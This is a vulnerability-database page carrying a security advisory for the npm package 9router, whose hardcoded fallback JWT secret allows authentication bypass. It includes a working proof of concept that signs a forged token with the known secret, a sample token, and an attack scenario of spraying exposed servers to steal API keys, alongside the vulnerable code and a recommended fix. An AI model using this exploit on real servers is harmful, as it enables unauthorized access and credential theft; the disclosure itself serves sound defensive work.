GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-JPHH-M39H-6GWX

Vulnerability from github – Published: 2026-07-02 20:56 – Updated: 2026-07-02 20:56
VLAI
Summary
9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
Details

Summary

9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server

Details

Versions File Note
>= 0.2.21, <= 0.4.30 src/app/api/auth/login/route.js + src/middleware.js Introduced in commit 23cfb19
>= 0.4.31, <= 0.4.41 src/lib/auth/dashboardSession.js Relocated by OIDC refactor c3d91b0, secret unchanged

Vulnerable Code

v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.

PoC

Step 1. Craft a JWT signed with the known default secret:

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.4.41"
      },
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.21"
            },
            {
              "fixed": "0.4.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:56:55Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `\u003e= 0.2.21, \u003c= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `\u003e= 0.4.31, \u003c= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 \u2013 v0.4.30** \u2014 `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 \u2013 v0.4.41 (current)** \u2014 `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n  process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n  .setProtectedHeader({ alg: \"HS256\" })\n  .setIssuedAt()\n  .setExpirationTime(\"36y\")\n  .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://\u003ctarget\u003e/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn\u0027t set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio\u2192SSE bridge exposed at `/api/mcp/`  (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n  throw new Error(\n    \"JWT_SECRET environment variable is not set. \" +\n    \"Generate one with: openssl rand -hex 32\"\n  );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory \u2014 but **never** fall back to a publicly known constant.",
  "id": "GHSA-jphh-m39h-6gwx",
  "modified": "2026-07-02T20:56:55Z",
  "published": "2026-07-02T20:56:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router\u0027s Hardcoded Default fallback JWT Secret  Allows Authentication Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.